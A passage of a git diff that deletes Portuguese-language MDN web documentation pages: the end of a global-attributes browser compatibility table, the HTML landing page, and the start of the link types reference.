- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td><code>accesskey</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>class</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>contenteditable</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>contextmenu</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop(9)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>data-*</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("6")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>dir</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>draggable</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.8.1")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>dropzone</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>hidden</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("2")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>id</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>lang</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>spellcheck</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.8.1")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>style</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>tabindex</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>title</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td><code>accesskey</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>class</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>contenteditable</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("1.9")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>contextmenu</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>data-*</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("6")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>dir</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>draggable</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("1.8.1")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>dropzone</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>hidden</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("2")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>id</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>lang</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>spellcheck</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("1.8.1")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>style</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>tabindex</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>title</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>Interfaces {{domxref("Element")}} e {{domxref("GlobalEventHandlers")}} que permitem-lhe consultar a maioria dos atributos globais.</li>
-</ul>
diff --git a/files/pt-pt/web/html/index.html b/files/pt-pt/web/html/index.html
deleted file mode 100644
index c9cf09466b..0000000000
--- a/files/pt-pt/web/html/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: 'HTML: Linguagem de Marcação de Hipertexto'
-slug: Web/HTML
-tags:
- - HTML
- - HTML5
- - Landing
- - Web
- - 'l10n:priority'
-translation_of: Web/HTML
----
-<div>{{HTMLSidebar}}</div>
-
-<p class="summary"><span class="seoSummary">Linguagem de Marcação de Hipertexto (<strong>HTML</strong>) é o bloco de criação mais básico da Web. Este define o significado e estrutura de um conteúdo da Web<em>. </em>Outras tecnologias para além de HTML, são geralmente utilizadas para descrever a aparência/apresentação de uma página da Web </span> <span class="seoSummary">(<a href="/pt-PT/docs/Web/CSS">CSS</a>)</span> <span class="seoSummary"> ou funcionalidade/comportamento </span> <span class="seoSummary">(<a href="/pt-PT/docs/Web/JavaScript">JavaScript</a>)</span>.</p>
-
-<p>"Hipertexto" refere-se a hiperligações que ligam páginas da <em>web</em><em> </em>entre si, dentro de um único site da <em>web</em> ou entre sites da <em>web</em>. As hiperligações são um aspeto fundamental da <em>web</em>. Ao enviar conteúdo para a Internet e vinculá-lo às páginas criadas por outras pessoas, torna-o em um participante ativo na <em>World Wide Web</em>.</p>
-
-<p>HTML utiliza "markup" para anotar texto, imagens, e outro conteúdo para o exibir num navegador da Web. A marcação de HTML inclui "elementos" especiais, tais como {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, e muitos outros.</p>
-
-<p>Um elemento HTML é separado de outro texto num documento por "etiquetas", que consistem no nome do elemento entre "&lt;" e "&gt;". O nome de um elemento dentro de uma etiqueta é insensível a maiúsculas e minúsculas. Isto é, pode ser escrito em maiúsculas, minúsculas ou uma mistura. Por exemplo a etiqueta &lt;<strong>title&gt; </strong>pode ser escrita como &lt;<strong>Title</strong>&gt;, &lt;<strong>TITLE</strong>&gt; ou de outras formas.</p>
-
-<p>Os artigos abaixo, irão ajudá-lo a saber mais sobre o HTML.</p>
-
-<section class="cleared" id="sect1">
-<ul class="card-grid">
- <li><span>Introdução ao HTML</span>
-
- <p>Se for novo no desenvolvimento da Web, certifique-se que lê o nosso artigo <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">essencial de HTML </a>para saber mais sobre o que é o HTML e como o utilizar.</p>
- </li>
- <li><span>Tutoriais de HTML</span>
- <p>Para artigos sobre como utilizar o HTML, bem como tutorials e exemplos completos, consulte a nossa <a href="/pt-PT/docs/Learn/HTML">Área de Aprendizagem de HTML</a>.</p>
- </li>
- <li><span>Referência HTML</span>
- <p>Na nossa secção extensa de <a href="/pt-PT/docs/Web/HTML/Referencia">Referência HTML</a>, irá encontrar os detalhes sobre cada elemento e atributo no HTML.</p>
- </li>
-</ul>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Tools" id="Tools" name="Tools">Tutoriais de principiante</h2>
-
-<p>Na nossa <a href="/pt-PT/docs/Learn/HTML">Área de Aprendizagem HTML</a> apresenta múltiplos módulos que ensinam HTML desde o início — não é necessário nenhum conhecimento prévio.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a></dt>
- <dd>Este módulo define o palco, para que fique a conhecer os conceitos e sintaxe importantes, tais como a aplicação de HTML no texto, como criar hiperligações, e como utilizar HTML para estruturar uma página da Web.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Multimedia_e_integracao">Multimédia e integração</a></dt>
- <dd>Este módulo explora como usar o HTML para incluir multimédia nas suas páginas da web, incluindo as diferentes maneiras de como as imagens podem ser introduzidas, e como embutir vídeo, audio<span class="short_text" id="result_box" lang="pt"><span> e até mesmo outras páginas web inteiras.</span></span></dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Tables">Tabelas de HTML</a></dt>
- <dd>Representar dados em tabelas numa página web <span id="result_box" lang="pt"><span>de uma maneira compreensível e acessível pode ser um desafio. </span></span><span id="result_box" lang="pt"><span>Este módulo abrange a marcação básica de tabela, juntamente com recursos mais complexos, como a implementação de legendas e resumos.</span></span></dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Formularios">Formulários HTML</a></dt>
- <dd>Forms are a very important part of the Web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. This module gets you started with creating the client-side/front-end parts of forms.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Como">Utilizar HTML para resolver problemas comuns</a></dt>
- <dd>Provides links to sections of content explaining how to use HTML to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.</dd>
-</dl>
-
-<h2 id="Tópicos_avançados">Tópicos avançados</h2>
-
-<dl>
- <dt class="landingPageList"><a href="/pt-PT/docs/Web/HTML/CORS_enabled_image">Imagem CORS ativada</a></dt>
- <dd class="landingPageList">O atributo <code><a href="/en-US/docs/Web/HTML/Element/img#attr-crossorigin">crossorigin</a></code>, em combinação com um cabeçalho <a class="glossaryLink" href="/en-US/docs/Glossary/CORS">CORS</a> apropriado, permite imagens definidas pelo elemento {{HTMLElement("img")}} para serem carregadas a partir de origens secundárias e utilziadas num elemento {{HTMLElement("canvas")}} como se fossem carregadas a partir de uma origem atual.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></dt>
- <dd class="landingPageList">Some HTML elements that provide support for <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a>, such as {{HTMLElement("img")}} or {{HTMLElement("video")}}, have a <code>crossorigin</code> attribute (<code>crossOrigin</code> property), which lets you configure the CORS requests for the element's fetched data.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Focus_management_in_HTML">Focus management in HTML</a></dt>
- <dd class="landingPageList">The <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> DOM attribute and the <code><a href="/en-US/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM method help you track and control a user's interactions with elements on a web page.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Using_the_application_cache">Using the application cache</a></dt>
- <dd class="landingPageList">Application caching lets web-based applications run offline. You can use the <strong>Application Cache</strong> (<em>AppCache</em>) interface to specify resources that the browser should cache and make available to offline users. Applications that are cached load and work correctly even if users click the refresh button when they are offline.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">Preloading content with rel="preload"</a></dt>
- <dd class="landingPageList">The <code>preload</code> value of the {{htmlelement("link")}} element's {{htmlattrxref("rel", "link")}} attribute allows you to write declarative fetch requests in your HTML {{htmlelement("head")}}, specifying resources that your pages will need very soon after loading, which you therefore want to start preloading early in the lifecycle of a page load, before the browser's main rendering machinery kicks in. This ensures that they are made available earlier and are less likely to block the page's first render, leading to performance improvements. This article provides a basic guide to how <code>preload</code> works.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Documentation" id="Referências">Referências</h2>
-
-<dl>
- <dt class="landingPageList"><a href="/pt-PT/docs/Web/HTML/Referencia">Referência HTML</a></dt>
- <dd class="landingPageList">HTML consists of <strong>elements</strong>, each of which may be modified by some number of <strong>attributes</strong>. HTML documents are connected to each other with <a href="/en-US/docs/Web/HTML/Link_types">links</a>.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Element">HTML element reference</a></dt>
- <dd class="landingPageList">Browse a list of all <a class="glossaryLink" href="/en-US/docs/Glossary/HTML">HTML</a> <a class="glossaryLink" href="/en-US/docs/Glossary/Element">elements</a>.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Attributes">HTML attribute reference</a></dt>
- <dd class="landingPageList">Elements in HTML have <strong>attributes</strong>. These are additional values that configure the elements or adjust their behavior in various ways.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Global_attributes">Global attributes</a></dt>
- <dd class="landingPageList">Global attributes may be specified on all <a href="/en-US/docs/Web/HTML/Element">HTML elements</a>, <em>even those not specified in the standard</em>. This means that any non-standard elements must still permit these attributes, even though those elements make the document HTML5-noncompliant.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a> and <a href="/en-US/docs/Web/HTML/Block-level_elements">block-level elements</a></dt>
- <dd class="landingPageList">HTML elements are usually "inline" or "block-level" elements. An inline element occupies only the space bounded by the tags that define it. A block-level element occupies the entire space of its parent element (container), thereby creating a "block."</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Link_types">Link types</a></dt>
- <dd class="landingPageList">In HTML, various link types can be used to establish and define the relationship between two documents. Link elements that types can be set on include <a href="/en-US/docs/Web/HTML/Element/a"><code>&lt;a&gt;</code></a>, <a href="/en-US/docs/Web/HTML/Element/area"><code>&lt;area&gt;</code></a> and <a href="/en-US/docs/Web/HTML/Element/link"><code>&lt;link&gt;</code></a>.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a></dt>
- <dd class="landingPageList">The <a href="/en-US/docs/Web/HTML/Element/audio"><code>&lt;audio&gt;</code></a> and <a href="/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a> elements allow you to play audio and video media. These elements provide a browser-native alternative to similar capabilities found in Adobe Flash and other plug-ins.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Kinds_of_HTML_content">Kinds of HTML content</a></dt>
- <dd class="landingPageList">HTML is comprised of several kinds of content, each of which is allowed to be used in certain contexts and is disallowed in others. Similarly, each has a set of other content categories they can contain and elements which can or can't be used in them. This is a guide to these categories.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks mode and standards mode</a></dt>
- <dd class="landingPageList">Historical information on quirks mode and standards mode.</dd>
-</dl>
-
-<h2 class="landingPageList" id="Tópicos_relacionados">Tópicos relacionados</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS">Aplicar cor aos elementos HTML utilizando CSS</a></dt>
- <dd>Este artigo aborda a maioria das formas em que utilzia CSS para adicionar cor ao conteúdo HTML, listando quais as partes dos documentos HTML que podem ser coloridas e quais as propriedades CSS que utilizam e quando o fazer. Inclui exemplos, hiperligações para ferramentas de criação de paletas e, mais.</dd>
-</dl>
-</div>
-</div>
-<span class="alllinks"><a href="/pt-PT/docs/tag/HTML">Ver Tudo...</a></span></section>
diff --git a/files/pt-pt/web/html/link_types/index.html b/files/pt-pt/web/html/link_types/index.html
deleted file mode 100644
index 7d26dd44bf..0000000000
--- a/files/pt-pt/web/html/link_types/index.html
+++ /dev/null
@@ -1,609 +0,0 @@
----
-title: Tipos de hiperligação
-slug: Web/HTML/Link_types
-tags:
- - HTML
- - Hiperligação
- - Referencia
- - Tipos de hiperligação
-translation_of: Web/HTML/Link_types
-original_slug: Web/HTML/Tipos_de_hiperligacao
----
-<div>{{HTMLSidebar}}</div>
-
-<p>Em HTML, os seguintes tipos de hiperligação indicam a relação entre dois documentos, em que uma se interliga com a outra, utilizando um elemento {{HTMLElement("a")}}, {{HTMLElement("area")}}, ou {{HTMLElement("link")}}.</p>
-
-<table class="standard-table">
- <caption>List of the defined link types and their significance in HTML</caption>
- <thead>
- <tr>
- <th scope="col">Tipo de Hiperligação</th>
- <th scope="col">Descrição</th>
- <th scope="col" style="width: 12em;">Permitido nestes elementos</th>
- <th scope="col">Não permitido nestes elementos</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>alternate</code></td>
- <td>
- <ul>
- <li>If the element is {{HTMLElement("link")}} and the {{htmlattrxref("rel", "link")}} attribute also contains the <code>stylesheet</code> type, the link defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</li>
- <li>If the {{htmlattrxref("type","link")}} is set to <code>application/rss+xml</code> or <code>application/atom+xml</code>, the link defines a <a href="/en-US/docs/RSS/Getting_Started/Syndicating">syndication feed</a>. The first one defined on the page is the default.</li>
- <li>Otherwise, the link defines an alternative page, of one of these types:
- <ul>
- <li>for another medium, like a handheld device (if the {{htmlattrxref("media","link")}} attribute is set)</li>
- <li>in another language (if the {{htmlattrxref("hreflang","link")}} attribute is set),</li>
- <li>in another format, such as a PDF (if the {{htmlattrxref("type","link")}} attribute is set)</li>
- <li>a combination of these</li>
- </ul>
- </li>
- </ul>
- </td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None</em>.</td>
- </tr>
- <tr>
- <td><code>archives</code> {{obsolete_inline}}</td>
- <td>Defines a hyperlink to a document that contains an archive link to this one. For example, a blog entry could link to a monthly index page this way.<br>
- <br>
- <strong>Note:</strong> Although recognized, the singular <code>archive</code> is incorrect and must be avoided.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>author</code></td>
- <td>Defines a hyperlink to a page describing the author or providing a way to contact the author.<br>
- <br>
- <strong>Note:</strong> This may be a <code>mailto:</code> hyperlink, but this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address. In that case, it is better to lead to a page containing a contact form.<br>
- <br>
- Although recognized, the {{htmlattrxref("rev", "link")}} attribute on {{HTMLElement("a")}}, {{HTMLElement("area")}} or{{HTMLElement("link")}} elements with a link type of <code>made</code> is incorrect and should be replaced by the {{htmlattrxref("rel", "link")}} attribute with this link type.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>bookmark</code></td>
- <td>Indicates that the hyperlink is a <a href="/en-US/docs/Permalink">permalink</a> for the nearest ancestor {{HTMLElement("article")}} element. If none, it is a permalink for the <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">section</a> that the element is most closely associated to.<br>
- <br>
- This allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>canonical</code></td>
- <td>From Wikipedia, the free encyclopedia: <a href="https://en.wikipedia.org/wiki/Canonical_link_element">Canonical_link_element</a><br>
- A canonical link element is an HTML element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>???</td>
- </tr>
- <tr>
- <td><code>dns-prefetch</code> {{experimental_inline}}</td>
- <td>Hints to the browser that a resources is needed allowing the browser to do a DNS lookup and protocol handshaking before a user clicks the link.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>external</code></td>
- <td>Indicates that the hyperlink leads to a resource outside the site of the current page; that is, following the link will make the user leave the site.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>first</code> {{obsolete_inline}}</td>
- <td>Indicates that the hyperlink leads to the first resource of the <em>sequence</em> the current page is in.<br>
- <br>
- <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>last</code>, <code>prev</code>, <code>next</code>.<br>
- <br>
- Although recognized, the synonyms <code>begin</code> and <code>start</code> are incorrect and must be avoided.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>help</code></td>
- <td>
- <ul>
- <li>If the element is {{HTMLElement("a")}} or {{HTMLElement("area")}}, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants.</li>
- <li>If the element is {{HTMLElement("link")}} it indicates that the hyperlink leads to a resource giving further help about the page as a whole.</li>
- </ul>
- </td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>icon</code></td>
- <td>Defines a resource for representing the page in the user interface, usually an icon (auditory or visual).<br>
- <br>
- The {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} and {{htmlattrxref("sizes","link")}} attributes allow the browser to select the most appropriate icon for its context. If several resources match, the browser will select the last one declared, in tree order. As these attributes are merely hints, and the resources may be inappropriate upon further inspection, the browser will then select another one, if appropriate.<br>
- <br>
- <strong>Note:</strong> Apple's iOS does not use this link type, nor the {{htmlattrxref("sizes","link")}} attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. Instead it uses the non-standard <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a> and <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a> respectively.<br>
- <br>
- The <code>shortcut</code> link type is often seen before <code>icon</code>, but this link type is non-conforming, ignored and <strong>web authors must not use it anymore</strong>.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>index</code> {{obsolete_inline}}</td>
- <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the top level resource of that structure.<br>
- <br>
- If one or several <code>up</code> link types are also present, the number of these <code>up</code> indicates the depth of the current page in the hierarchy.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>last</code> {{obsolete_inline}}</td>
- <td>Indicates that the hyperlink leads to the <em>last</em> resource of the <em>sequence</em> the current page is in.<br>
- <br>
- <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>next</code>.<br>
- <br>
- Although recognized, the synonym <code>end</code> is incorrect and must be avoided.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>license</code></td>
- <td>Indicates that the hyperlink leads to a document describing the licensing information. If not inside the {{HTMLElement("head")}} element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this.<br>
- <br>
- <strong>Note: </strong>Although recognized, the synonym <code>copyright</code> is incorrect and must be avoided.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>manifest</code></td>
